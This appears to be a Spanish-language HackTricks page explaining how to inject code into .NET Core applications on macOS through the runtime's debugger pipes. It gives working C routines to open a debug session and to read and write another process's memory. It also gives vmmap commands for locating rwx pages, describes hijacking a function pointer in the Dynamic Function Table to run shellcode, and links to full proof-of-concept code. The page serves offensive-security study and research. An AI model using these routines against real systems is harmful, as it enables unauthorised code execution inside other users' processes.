# Inyección de aplicaciones .Net en macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Depuración de .NET Core ### **Establecer una sesión de depuración** [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) es responsable de manejar la **comunicación** entre el depurador y el depurado.\ Crea dos tuberías con nombres por proceso .Net en [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) llamando a [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) (uno terminará en **`-in`** y el otro en **`-out`** y el resto del nombre será el mismo). Entonces, si vas al directorio **`$TMPDIR`** de los usuarios, podrás encontrar **fifos de depuración** que podrías usar para depurar aplicaciones .Net:
La función [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) manejará la comunicación desde un depurador. Lo primero que se requiere que haga un depurador es **crear una nueva sesión de depuración**. Esto se hace **enviando un mensaje a través de la tubería `out`** que comienza con una estructura `MessageHeader`, que podemos obtener del código fuente de .NET: ```c struct MessageHeader { MessageType m_eType; // Type of message this is DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero) DWORD m_dwId; // Message ID assigned by the sender of this message DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB) DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue) DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and // never read) union { struct { DWORD m_dwMajorVersion; // Protocol version requested/accepted DWORD m_dwMinorVersion; } VersionInfo; ... } TypeSpecificData; BYTE m_sMustBeZero[8]; } ``` En el caso de una solicitud de nueva sesión, esta estructura se completa de la siguiente manera: ```c static const DWORD kCurrentMajorVersion = 2; static const DWORD kCurrentMinorVersion = 0; // Set the message type (in this case, we're establishing a session) sSendHeader.m_eType = MT_SessionRequest; // Set the version sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion; sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; // Finally set the number of bytes which follow this header sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); ``` Una vez construido, **enviamos esto al objetivo** utilizando la llamada al sistema `write`: ```c write(wr, &sSendHeader, sizeof(MessageHeader)); ``` Siguiendo nuestro encabezado, necesitamos enviar una estructura `sessionRequestData` que contiene un GUID para identificar nuestra sesión: ```c // All '9' is a GUID.. right?? memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData)); // Send over the session request data write(wr, &sDataBlock, sizeof(SessionRequestData)); ``` Al enviar nuestra solicitud de sesión, **leemos desde la tubería `out` una cabecera** que indicará **si** nuestra solicitud para establecer una sesión de depuración ha sido **exitosa** o no: ```c read(rd, &sReceiveHeader, sizeof(MessageHeader)); ``` ### Leer memoria Con una sesión de depuración establecida, es posible **leer memoria** utilizando el tipo de mensaje [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Para leer cierta memoria, el código principal necesario sería: ```c bool readMemory(void *addr, int len, unsigned char **output) { *output = (unsigned char *)malloc(len); if (*output == NULL) { return false; } sSendHeader.m_dwId++; // We increment this for each request sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write sSendHeader.m_cbDataBlock = 0; // Write the header if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) { return false; } // Read the response header if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) { return false; } // Make sure that memory could be read before we attempt to read further if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) { return false; } memset(*output, 0, len); // Read the memory from the debugee if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) { return false; } return true; } ``` El código de prueba de concepto (POC) se encuentra [aquí](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b). ### Escribir en la memoria ```c bool writeMemory(void *addr, int len, unsigned char *input) { sSendHeader.m_dwId++; // We increment this for each request sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write sSendHeader.m_cbDataBlock = len; // Write the header if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) { return false; } // Write the data if (write(wr, input, len) < 0) { return false; } // Read the response header if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) { return false; } // Ensure our memory write was successful if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) { return false; } return true; } ``` El código POC utilizado para hacer esto se puede encontrar [aquí](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5). ### Ejecución de código .NET Core Lo primero es identificar, por ejemplo, una región de memoria con permisos **`rwx`** en ejecución para guardar el shellcode a ejecutar. Esto se puede hacer fácilmente con: ```bash vmmap -pages [pid] vmmap -pages 35829 | grep "rwx/rwx" ``` Entonces, para activar la ejecución, sería necesario conocer algún lugar donde se almacena un puntero de función para sobrescribirlo. Es posible sobrescribir un puntero dentro de la **Tabla de Funciones Dinámicas (DFT)**, que es utilizada por el tiempo de ejecución de .NET Core para proporcionar funciones auxiliares para la compilación JIT. Una lista de punteros de función admitidos se puede encontrar en [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h). En las versiones x64, esto es sencillo utilizando la técnica de **búsqueda de firmas** al estilo de mimikatz para buscar en **`libcorclr.dll`** una referencia al símbolo **`_hlpDynamicFuncTable`**, al cual podemos desreferenciar:
Lo único que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firmas. Para hacer esto, aprovechamos otra función de depuración expuesta, **`MT_GetDCB`**. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero en nuestro caso, nos interesa un campo que contiene la **dirección de una función auxiliar**, **`m_helperRemoteStartAddr`**. Utilizando esta dirección, sabemos exactamente **dónde se encuentra `libcorclr.dll`** en la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT. Conociendo esta dirección, es posible sobrescribir el puntero de función con nuestro propio código malicioso. El código completo de POC utilizado para la inyección en PowerShell se puede encontrar [aquí](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6). ## Referencias * Esta técnica fue tomada de [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).